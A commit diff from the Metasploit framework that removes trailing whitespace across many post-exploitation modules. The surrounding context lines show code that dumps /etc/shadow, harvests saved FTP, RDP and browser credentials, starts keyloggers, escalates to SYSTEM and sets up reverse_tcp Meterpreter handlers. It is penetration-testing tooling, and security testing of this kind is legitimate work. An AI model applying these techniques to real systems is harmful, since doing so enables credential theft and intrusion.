msftidy on post modules for spaces at EOL
parent
bf105f48cb
commit
f35b6c5269
|
@ -39,10 +39,10 @@ class Metasploit3 < Msf::Post
|
|||
def run
|
||||
# Get device prompt
|
||||
prompt = session.shell_command("")
|
||||
|
||||
|
||||
# Set terminal length to 0 so no paging is required
|
||||
session.shell_write("term len 0 \n")
|
||||
|
||||
|
||||
# Get version info
|
||||
print_status("Getting version information")
|
||||
show_ver_cmd = "show version"
|
||||
|
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Post
|
|||
mode = "EXEC"
|
||||
when /#/
|
||||
mode = "PRIV"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
print_status("The device OS is #{os_type}")
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post
|
|||
if is_root?
|
||||
passwd_file = read_file("/etc/passwd")
|
||||
shadow_file = read_file("/etc/shadow")
|
||||
|
||||
|
||||
# Save in loot the passwd and shadow file
|
||||
store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
|
||||
store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
|
||||
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post
|
|||
# Save pwd file
|
||||
upassf = store_loot("linux.hashes", "text/plain", session, john_file, "unshadowed_passwd.pwd", "Linux Unshadowed Password File")
|
||||
print_good("Unshadowed Password File: #{upassf}")
|
||||
|
||||
|
||||
else
|
||||
print_error("You must run this module as root!")
|
||||
end
|
||||
|
|
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post
|
|||
fzdir = check_filezilla(user['AppData'])
|
||||
paths << fzdir if fzdir
|
||||
end
|
||||
|
||||
|
||||
else
|
||||
print_error "Unsupported platform #{session.platform}"
|
||||
return
|
||||
|
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Post
|
|||
if account['password'].nil?
|
||||
account['password'] = "<blank>"
|
||||
end
|
||||
|
||||
|
||||
case sub.elements['Protocol'].text
|
||||
when "0"
|
||||
account['protocol'] = "FTP"
|
||||
|
|
|
@ -209,7 +209,7 @@ class Metasploit3 < Msf::Post
|
|||
ensure
|
||||
fd.close
|
||||
end
|
||||
|
||||
|
||||
ext = file.split('.')[2]
|
||||
if ext == "txt"
|
||||
mime = "plain"
|
||||
|
|
|
@ -267,7 +267,7 @@ class Metasploit3 < Msf::Post
|
|||
contact['name'] = bcontact.elements['buddy'].elements['name'].text rescue "<unknown>"
|
||||
contact['account'] = bcontact.elements['buddy'].attributes['account'] rescue "<unknown>"
|
||||
contact['protocol'] = bcontact.elements['buddy'].attributes['proto'] rescue "<unknown>"
|
||||
|
||||
|
||||
if bcontact.elements['buddy'].elements['alias']
|
||||
contact['alias'] = bcontact.elements['buddy'].elements['alias'].text
|
||||
else
|
||||
|
|
|
@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
ip_found = []
|
||||
|
||||
|
||||
iplst.each do |ip|
|
||||
# Set count option for ping command
|
||||
case session.platform
|
||||
|
@ -96,13 +96,13 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
a.delete_if {|x| not x.alive?} while not a.empty?
|
||||
|
||||
|
||||
rescue ::Exception => e
|
||||
print_status("The following Error was encountered: #{e.class} #{e}")
|
||||
|
||||
|
||||
end
|
||||
ip_found.each do |i|
|
||||
report_host(:host => i)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post
|
|||
post_mod.gsub!(/^post\//,"")
|
||||
end
|
||||
m = framework.post.create(post_mod)
|
||||
|
||||
|
||||
# Check if a post module was actually initiated
|
||||
if m.nil?
|
||||
print_error("Post module #{post_mod} could not be initialized!")
|
||||
|
@ -107,4 +107,4 @@ class Metasploit3 < Msf::Post
|
|||
print_error("Resource file was empty!")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post
|
|||
else
|
||||
print_status "Sudoing with password `#{password}'."
|
||||
end
|
||||
askpass_sudo(password)
|
||||
askpass_sudo(password)
|
||||
unless is_root?
|
||||
print_error "SUDO: Didn't work out, still a mere user."
|
||||
else
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post
|
|||
if is_root?
|
||||
passwd_file = read_file("/etc/passwd")
|
||||
shadow_file = read_file("/etc/shadow")
|
||||
|
||||
|
||||
# Save in loot the passwd and shadow file
|
||||
store_loot("solaris.shadow", "text/plain", session, shadow_file, "shadow.tx", "Solaris Password Shadow File")
|
||||
store_loot("solaris.passwd", "text/plain", session, passwd_file, "passwd.tx", "Solaris Passwd File")
|
||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Run Method for when run command is issued
|
||||
def run
|
||||
|
||||
|
||||
print_status("Executing module against #{sysinfo['Computer']}")
|
||||
if datastore['MIGRATE']
|
||||
case datastore['CAPTURE_TYPE']
|
||||
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
if startkeylogger
|
||||
keycap(datastore['INTERVAL'],set_log)
|
||||
end
|
||||
|
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# Returns the path name to the stored loot filename
|
||||
def set_log
|
||||
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
|
||||
store_loot("host.windows.keystrokes", "text/plain", session, "Keystroke log started at #{Time.now.to_s}\n", "keystrokes.txt", "User Keystrokes")
|
||||
end
|
||||
|
||||
def lock_screen
|
||||
|
|
|
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Post
|
|||
print_error("Must be an admin to migrate into Winlogon.exe, exiting")
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
mypid = session.sys.process.getpid
|
||||
if datastore['pid'] == 0
|
||||
targetpid = get_winlogon
|
||||
|
|
|
@ -68,7 +68,7 @@ class Metasploit3 < Msf::Post
|
|||
handler.datastore['LPORT'] = lport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = true
|
||||
handler.datastore['ListenerTimeout'] = 300
|
||||
handler.datastore['ListenerTimeout'] = 300
|
||||
handler.datastore['ListenerComm'] = 'local'
|
||||
|
||||
# start the session handler
|
||||
|
|
|
@ -18,14 +18,14 @@ require 'msf/core/post/windows/priv'
|
|||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Escalate Get System via Administrator',
|
||||
'Description' => %q{
|
||||
This module uses the builtin 'getsystem' command to escalate
|
||||
the current session to the SYSTEM account from an administrator
|
||||
user account.
|
||||
user account.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'hdm',
|
||||
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
|
|||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
|
||||
register_options([
|
||||
OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0])
|
||||
], self.class)
|
||||
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post
|
|||
tech = datastore['TECHNIQUE'].to_i
|
||||
|
||||
unsupported if client.platform !~ /win32|win64/i
|
||||
|
||||
|
||||
if is_system?
|
||||
print_good("This session already has SYSTEM privileges")
|
||||
return
|
||||
|
|
|
@ -106,15 +106,15 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# get the handler ready
|
||||
handler = session.framework.exploits.create("multi/handler")
|
||||
handler.register_parent(self)
|
||||
handler.register_parent(self)
|
||||
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
|
||||
handler.datastore['LHOST'] = rhost
|
||||
handler.datastore['LPORT'] = rport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = true
|
||||
handler.datastore['ListenerTimeout'] = 300
|
||||
handler.datastore['ListenerComm'] = 'local'
|
||||
|
||||
handler.datastore['ListenerComm'] = 'local'
|
||||
|
||||
#start a handler to be ready
|
||||
# handler.exploit_module
|
||||
handler.exploit_simple(
|
||||
|
|
|
@ -188,4 +188,4 @@ class Metasploit3 < Msf::Post
|
|||
print_status("Upload complete")
|
||||
return file
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post
|
|||
[ 'URL', 'http://www.storm.net.nz/projects/16' ]
|
||||
]
|
||||
))
|
||||
|
||||
|
||||
register_options([
|
||||
OptBool.new('REVERT', [false, "Enable this option to revert the in-memory patch and enable locking again", false])
|
||||
], self.class)
|
||||
|
|
|
@ -55,14 +55,14 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# create a session handler
|
||||
handler = session.framework.exploits.create("multi/handler")
|
||||
handler.register_parent(self)
|
||||
handler.register_parent(self)
|
||||
handler.datastore['PAYLOAD'] = payload
|
||||
handler.datastore['LHOST'] = lhost
|
||||
handler.datastore['LPORT'] = lport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = true
|
||||
handler.datastore['ListenerTimeout'] = 300
|
||||
handler.datastore['ListenerComm'] = 'local'
|
||||
handler.datastore['ListenerComm'] = 'local'
|
||||
|
||||
# start the session handler
|
||||
|
||||
|
|
|
@ -132,7 +132,7 @@ class Metasploit3 < Msf::Post
|
|||
begin
|
||||
key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SYSTEM\ControlSet001\Services', KEY_READ)
|
||||
srvvals = key.enum_key
|
||||
|
||||
|
||||
if srvvals.include?("vpc-s3")
|
||||
vm = true
|
||||
elsif srvvals.include?("vpcuhub")
|
||||
|
|
|
@ -59,10 +59,10 @@ class Metasploit3 < Msf::Post
|
|||
print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}")
|
||||
auth =
|
||||
{
|
||||
:host => host,
|
||||
:port => port,
|
||||
:host => host,
|
||||
:port => port,
|
||||
:sname => 'ftp',
|
||||
:user => user,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:type => 'password',
|
||||
:source_id => session.db_record.id,
|
||||
|
|
|
@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post
|
|||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter']
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
# Run Method for when run command is issued
|
||||
|
|
|
@ -235,7 +235,7 @@ class Metasploit3 < Msf::Post
|
|||
if settings['admin_bindip'] == "*"
|
||||
settings['admin_bindip'] = "0.0.0.0"
|
||||
end
|
||||
|
||||
|
||||
if settings['bindip']
|
||||
settings['ftp_bindip'] = settings['bindip']
|
||||
else
|
||||
|
@ -266,7 +266,7 @@ class Metasploit3 < Msf::Post
|
|||
settings['ssl_cert'] + ".txt", "FileZilla Server SSL Certificate File" )
|
||||
print_status("Looted SSL Certificate File")
|
||||
end
|
||||
|
||||
|
||||
if settings['ssl_certfile'].nil?
|
||||
settings['ssl_certfile'] = "<none>"
|
||||
end
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post
|
|||
port = ini[group]['port']
|
||||
next if epass == nil or epass == ""
|
||||
passwd = decrypt(epass)
|
||||
|
||||
|
||||
print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***")
|
||||
report_auth_info(
|
||||
:host => host,
|
||||
|
|
|
@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def run
|
||||
@secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
|
||||
|
||||
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['LocalAppData'] == nil
|
||||
tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
|
||||
|
|
|
@ -86,7 +86,7 @@ class Metasploit3 < Msf::Post
|
|||
until connections.eof
|
||||
condata << connections.read
|
||||
end
|
||||
return condata
|
||||
return condata
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
print_error "Received error code #{e.code} when reading #{path}"
|
||||
return nil
|
||||
|
@ -142,7 +142,7 @@ class Metasploit3 < Msf::Post
|
|||
decrypted = advapi32.CryptDecrypt(derivekey['phKey'], 0, true, 0, cipher, cipher.length)
|
||||
destroyhash = advapi32.CryptDestroyHash(createhash['phHash'])
|
||||
destroykey = advapi32.CryptDestroyKey(derivekey['phKey'])
|
||||
releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0)
|
||||
releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0)
|
||||
|
||||
data = decrypted['pbData']
|
||||
data.gsub!(/[\x00]/, '')
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
|
|||
check_other(hklminstpath +'\\wcx_ftp.ini')
|
||||
when /APPDATA/
|
||||
print_status("Already Checked AppData")
|
||||
|
||||
|
||||
when /USERPROFILE/
|
||||
print_status("Already Checked USERPROFILE")
|
||||
else
|
||||
|
@ -100,7 +100,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
rescue
|
||||
print_status("#{filename} not found ....")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -113,7 +113,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
rescue
|
||||
print_status("#{filename} not found ....")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
rescue
|
||||
print_status("#{filename} not found ....")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_ini(filename)
|
||||
|
@ -148,7 +148,7 @@ class Metasploit3 < Msf::Post
|
|||
next if group=="General" or group == "default" or group=="connections"
|
||||
print_status("Processing Saved Session #{group}")
|
||||
host = ini[group]['host']
|
||||
|
||||
|
||||
username = ini[group]['username']
|
||||
passwd = ini[group]['password']
|
||||
next if passwd==nil
|
||||
|
@ -166,7 +166,7 @@ class Metasploit3 < Msf::Post
|
|||
:pass => passwd
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def seed(nMax)
|
||||
@vseed = ((@vseed * 0x8088405) & 0xffffffff) +1
|
||||
|
|
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
host_name = sysinfo['Computer']
|
||||
print_status("Running against #{host_name} on session #{datastore['SESSION']}")
|
||||
|
||||
|
||||
creds = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Windows AutoLogin Password',
|
||||
'Ident' => 1,
|
||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Post
|
|||
password = registry_getvaldata(active_session, 'Password')
|
||||
# There is no password saved for this session, so we skip it
|
||||
next if password == nil
|
||||
|
||||
|
||||
savedpwds = 1
|
||||
portnum = registry_getvaldata(active_session, 'PortNumber')
|
||||
if portnum == nil
|
||||
|
@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
|
|||
:pass => pass
|
||||
)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
if savedpwds == 0
|
||||
print_status("No Saved Passwords found in the Session Registry Keys")
|
||||
|
|
|
@ -121,7 +121,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
|
||||
remote_path = chrome_path + '\\' + f
|
||||
|
||||
|
||||
#Verify the path before downloading the file
|
||||
begin
|
||||
x = session.fs.file.stat(remote_path)
|
||||
|
|
|
@ -18,13 +18,13 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
|
||||
include Msf::Post::Windows::Registry
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Enumerate Computers',
|
||||
'Description' => %q{
|
||||
'Description' => %q{
|
||||
This module will enumerate computers included in the primary Domain.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -87,7 +87,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def get_members(results)
|
||||
members = []
|
||||
|
||||
|
||||
# Usernames start somewhere around line 6
|
||||
results = results.slice(6, results.length)
|
||||
# Get group members from the output
|
||||
|
@ -102,7 +102,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
return members
|
||||
end
|
||||
|
||||
|
||||
def get_domain(results)
|
||||
domain = ''
|
||||
|
||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post
|
|||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Enumerate Domain Tokens',
|
||||
'Description' => %q{
|
||||
'Description' => %q{
|
||||
This module will enumerate tokens present on a system that are part of the
|
||||
domain the target host is part of, will also enumerate users in the local
|
||||
Administrators, Users and Backup Operator groups to identify Domain members.
|
||||
|
@ -111,7 +111,7 @@ class Metasploit3 < Msf::Post
|
|||
'Header' => "Impersonation Tokens with Domain Context",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
[
|
||||
"Token Type",
|
||||
"Account Type",
|
||||
"Name",
|
||||
|
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Post
|
|||
user_tokens = client.incognito.incognito_list_tokens(0)
|
||||
user_delegation = user_tokens["delegation"].split("\n")
|
||||
user_impersonation = user_tokens["impersonation"].split("\n")
|
||||
|
||||
|
||||
group_tokens = client.incognito.incognito_list_tokens(1)
|
||||
group_delegation = group_tokens["delegation"].split("\n")
|
||||
group_impersonation = group_tokens["impersonation"].split("\n")
|
||||
|
@ -262,4 +262,4 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
return is_dc_srv
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Windows Domain Enumeration',
|
||||
'Description' => %q{
|
||||
This module enumerates currently the domains a host can see and the domain
|
||||
controllers for that domain.
|
||||
controllers for that domain.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Rob Fuller <mubix[at]hak5.org>'],
|
||||
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
|
|||
base = base + 8
|
||||
}
|
||||
|
||||
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
|
||||
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
|
||||
|
||||
domains.each do |x|
|
||||
print_status("Enumerating DCs for #{x[:domain]}")
|
||||
|
|
|
@ -54,7 +54,7 @@ class Metasploit3 < Msf::Post
|
|||
tbl << [sid,profile_path]
|
||||
end
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users")
|
||||
store_loot("host.users.recent", "text/plain", session, tbl.to_s, "recent_users.txt", "Recent Users")
|
||||
end
|
||||
|
||||
|
||||
|
@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
print_line("\n" + tbl.to_s + "\n")
|
||||
store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users")
|
||||
store_loot("host.users.active", "text/plain", session, tbl.to_s, "active_users.txt", "Active Users")
|
||||
end
|
||||
|
||||
def run
|
||||
|
|
|
@ -48,11 +48,11 @@ class Metasploit3 < Msf::Post
|
|||
'SPECIAL',
|
||||
'TEMPORARY'
|
||||
]
|
||||
|
||||
|
||||
if val > (stypes.length - 1)
|
||||
return 'UNKNOWN'
|
||||
end
|
||||
|
||||
|
||||
stypes[val]
|
||||
end
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather SNMP Settings Enumeration (Registry)',
|
||||
|
@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post
|
|||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Method for enumerating the Community Strings configured
|
||||
def community_strings
|
||||
comm_str = []
|
||||
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post
|
|||
comm_str = registry_enumvals(key)
|
||||
if not comm_str.empty?
|
||||
comm_str.each do |c|
|
||||
|
||||
|
||||
case registry_getvaldata(key,c)
|
||||
when 4
|
||||
comm_type = "READ ONLY"
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Post
|
|||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Terminal Server Client Connection Information Dumper',
|
||||
'Description' => %q{
|
||||
'Description' => %q{
|
||||
This module dumps MRU and connection data for RDP sessions
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
@ -46,7 +46,7 @@ class Metasploit3 < Msf::Post
|
|||
begin
|
||||
tmpkey = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
tmpkey_values = tmpkey.enum_key
|
||||
if tmpkey_values.include?('Default')
|
||||
if tmpkey_values.include?('Default')
|
||||
defaultkey = session.sys.registry.open_key(root_key, base_key + '\\Default', KEY_READ)
|
||||
print_good('Systems connected to:')
|
||||
(defaultkey.enum_value).each do |x|
|
||||
|
|
|
@ -127,7 +127,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
# get system, if requested.
|
||||
get_system if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])
|
||||
|
||||
|
||||
## Make sure we meet the requirements before running the module
|
||||
if not priv_check
|
||||
print_error("Abort! Did not pass the priv check")
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
# http://msu-nftc.org
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Physical Drives and Logical Volumes',
|
||||
|
|
|
@ -11,7 +11,7 @@ require 'digest/md5'
|
|||
require 'digest/sha1'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Forensic Imaging',
|
||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
geometry = ioctl['lpOutBuffer']
|
||||
disk_size = geometry[24,31].unpack('Q')[0]
|
||||
|
||||
|
||||
socket = Rex::Socket::TcpServer.create({'LocalHost'=>ip_addr,'LocalPort'=>port})
|
||||
print_line("Listening on #{ip_addr}:#{port}")
|
||||
print_line("Serving #{devname} (#{disk_size} bytes)")
|
||||
|
|
|
@ -407,7 +407,7 @@ class Metasploit3 < Msf::Post
|
|||
file_local_write(pwdfile,inject_hashdump)
|
||||
rescue::Exception => e
|
||||
print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
|
||||
|
||||
|
||||
if sysinfo['OS'] =~ /(Windows 2008)/i
|
||||
move_to_sys
|
||||
file_local_write(pwdfile,inject_hashdump)
|
||||
|
|
|
@ -220,7 +220,7 @@ class Metasploit3 < Msf::Post
|
|||
# Run Method for when run command is issued
|
||||
def run
|
||||
print_status("Running module on #{sysinfo['Computer']}")
|
||||
|
||||
|
||||
## get system, if requested
|
||||
if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM'])
|
||||
get_system
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Manage Enable Remote Desktop',
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post
|
|||
key = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\SystemCertificates\\ROOT\\Certificates"
|
||||
rkey,bkey = client.sys.registry.splitkey(key)
|
||||
|
||||
# Check if the requested cert is actually in the registry to start with
|
||||
# Check if the requested cert is actually in the registry to start with
|
||||
open_key = client.sys.registry.open_key(rkey, bkey, KEY_READ + 0x0000)
|
||||
keys = open_key.enum_key
|
||||
|
||||
|
|
|
@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post
|
|||
# set some instance vars
|
||||
@IsAdmin = false
|
||||
@host_info = session.sys.config.sysinfo
|
||||
|
||||
|
||||
# Make sure we meet the requirements before running the script, note no need to return
|
||||
# unless error
|
||||
return 0 if session.type != "meterpreter"
|
||||
|
|
|
@ -66,7 +66,7 @@ class Metasploit3 < Msf::Post
|
|||
print_good(netout)
|
||||
network_list << netout
|
||||
end
|
||||
|
||||
|
||||
#strip out any nullbytes for safe loot storage
|
||||
network_list.gsub!(/\x00/,"")
|
||||
store_loot("host.windows.wlan.networks", "text/plain", session, network_list, "wlan_networks.txt", "Available Wireless LAN Networks")
|
||||
|
@ -116,7 +116,7 @@ class Metasploit3 < Msf::Post
|
|||
#If the length of the SSID is 0 then something is wrong. Skip this one
|
||||
pointer = (pointer + 4)
|
||||
len_ssid = @host_process.memory.read(pointer,4)
|
||||
unless len_ssid.unpack("V")[0]
|
||||
unless len_ssid.unpack("V")[0]
|
||||
next
|
||||
end
|
||||
|
||||
|
@ -178,7 +178,7 @@ class Metasploit3 < Msf::Post
|
|||
pointer = (pointer + 4)
|
||||
rssi = @host_process.memory.read(pointer,4)
|
||||
rssi = getle_signed_int(rssi)
|
||||
bss['rssi'] = rssi
|
||||
bss['rssi'] = rssi
|
||||
|
||||
#Get the signal strength
|
||||
pointer = (pointer + 4)
|
||||
|
@ -255,7 +255,7 @@ class Metasploit3 < Msf::Post
|
|||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
|
|
|
@ -310,7 +310,7 @@ class Metasploit3 < Msf::Post
|
|||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
|
|||
'Name' => 'Windows Disconnect Wireless Connection ',
|
||||
'Description' => %q{
|
||||
This module disconnects the current wireless network connection
|
||||
on the specified interface.
|
||||
on the specified interface.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
|
@ -153,7 +153,7 @@ class Metasploit3 < Msf::Post
|
|||
#We return nil and deal with the results back in the calling function
|
||||
pointer = (pointer+512)
|
||||
len_ssid = @host_process.memory.read(pointer,4)
|
||||
unless len_ssid.unpack("V")[0]
|
||||
unless len_ssid.unpack("V")[0]
|
||||
return nil
|
||||
end
|
||||
|
||||
|
@ -345,7 +345,7 @@ class Metasploit3 < Msf::Post
|
|||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
|
|
|
@ -164,7 +164,7 @@ class Metasploit3 < Msf::Post
|
|||
#Convert the GUID to human readable form
|
||||
def guid_to_string(guid)
|
||||
aguid = guid.unpack("H*")[0]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid = "{" + aguid[6,2] + aguid[4,2] + aguid[2,2] + aguid[0,2]
|
||||
sguid << "-" + aguid[10,2] + aguid[8,2] + "-" + aguid[14,2] + aguid[12,2] + "-" + aguid[16,4]
|
||||
sguid << "-" + aguid[20,12] + "}"
|
||||
return sguid
|
||||
|
|
Loading…
Reference in New Issue